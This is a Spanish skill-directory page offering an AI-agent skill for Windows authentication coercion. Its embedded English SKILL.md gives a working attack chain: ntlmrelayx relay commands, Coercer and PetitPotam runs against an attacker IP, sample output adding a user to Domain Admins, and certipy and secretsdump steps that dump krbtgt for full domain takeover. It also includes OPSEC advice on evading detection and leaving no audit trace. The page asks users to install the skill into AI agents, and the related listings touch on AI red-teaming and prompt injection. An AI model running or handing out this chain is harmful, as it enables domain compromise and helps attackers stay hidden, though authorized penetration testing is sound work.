ad-coercer
Qué hace
Esta habilidad describe varias debilidades conocidas de protocolos de Windows y cómo las comprueban los probadores de seguridad en un laboratorio o en una red autorizada. Está pensada para personas que revisan qué tan bien resiste un dominio Windows los inicios de sesión forzados.
Cuándo usarla
- ✓Cuando un probador de seguridad pregunta si los controladores de dominio pueden forzarse a enviar datos de inicio de sesión en una prueba autorizada.
- ✓Cuando el agente necesita explicar qué debilidades de protocolo se han corregido o mitigado.
- ✓Cuando un informe debe describir el riesgo y las defensas recomendadas.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes revisar en nuestra red de prueba autorizada si hay protocolos de Windows que permitan forzar a un servidor a autenticarse?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente configura un receptor en el lado de la prueba, ejecuta la comprobación elegida contra un objetivo aprobado y registra si el objetivo intentó autenticarse.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Authentication Coercion (PetitPotam family)
Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.
The family of coercion vulnerabilities
| Vector | Protocol | RPC | Mitigated by |
|---|---|---|---|
| PetitPotam | MS-EFSR (Encrypting File System Remote) | EfsRpcOpenFileRaw |
KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |
| PrinterBug | MS-RPRN (Print System Remote) | RpcRemoteFindFirstPrinterChangeNotificationEx |
Disable Print Spooler |
| DFSCoerce | MS-DFSNM (Distributed File System) | NetrDfsGetVersion, NetrDfsRemoveStdRoot |
Restrict DFSN to admins |
| ShadowCoerce | MS-FSRVP (File Server Remote VSS) | IsPathSupported |
KB5015527 (Jul 2022) |
| CheeseOunce / WebDavCoerce | WebDAV WebClient | (various) | Disable WebClient service |
All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.
Workflow
1. Set up the listener (attacker)
# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0
2. Coerce auth from a target machine
# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''
# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>
3. Catch the auth → escalate
[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED
If you relayed to ADCS:
[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...
Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.
Why coerce DC$? — The privilege escalation chain
The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:
# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromise
Targets that work
- Any unpatched DC (most environments still have PetitPotam variants)
- Any server with Print Spooler running (PrinterBug)
- Any Windows server with DFS Namespace (often DCs + file servers)
- ADCS Web Enrollment endpoint (relay to it for cert-based DA)
OPSEC
- Coercion attempts log
EFSRPC_*/RPRN_*event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity). - Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
- Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.
References
- topotam77's PetitPotam — github.com/topotam/PetitPotam
- p0dalirius's Coercer — github.com/p0dalirius/Coercer
- dirkjanm's "Relaying NTLM auth" series
- SpecterOps "Coercing AD auth" cheat sheet
- ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper
Preguntas frecuentes
¿Qué significa autenticación forzada?
Significa que una máquina Windows es engañada para enviar sus datos de inicio de sesión a otro sistema, lo que un probador puede estudiar después.
¿Cómo se puede defender uno?
La habilidad enumera mitigaciones como los parches, desactivar el Print Spooler y restringir ciertos protocolos.
¿La habilidad cubre ataques reales a sistemas en producción?
Está escrita solo para pruebas autorizadas, y el dueño de la red debe aprobar cada prueba.
Detalles
Descripción original del autor
Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #13940
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.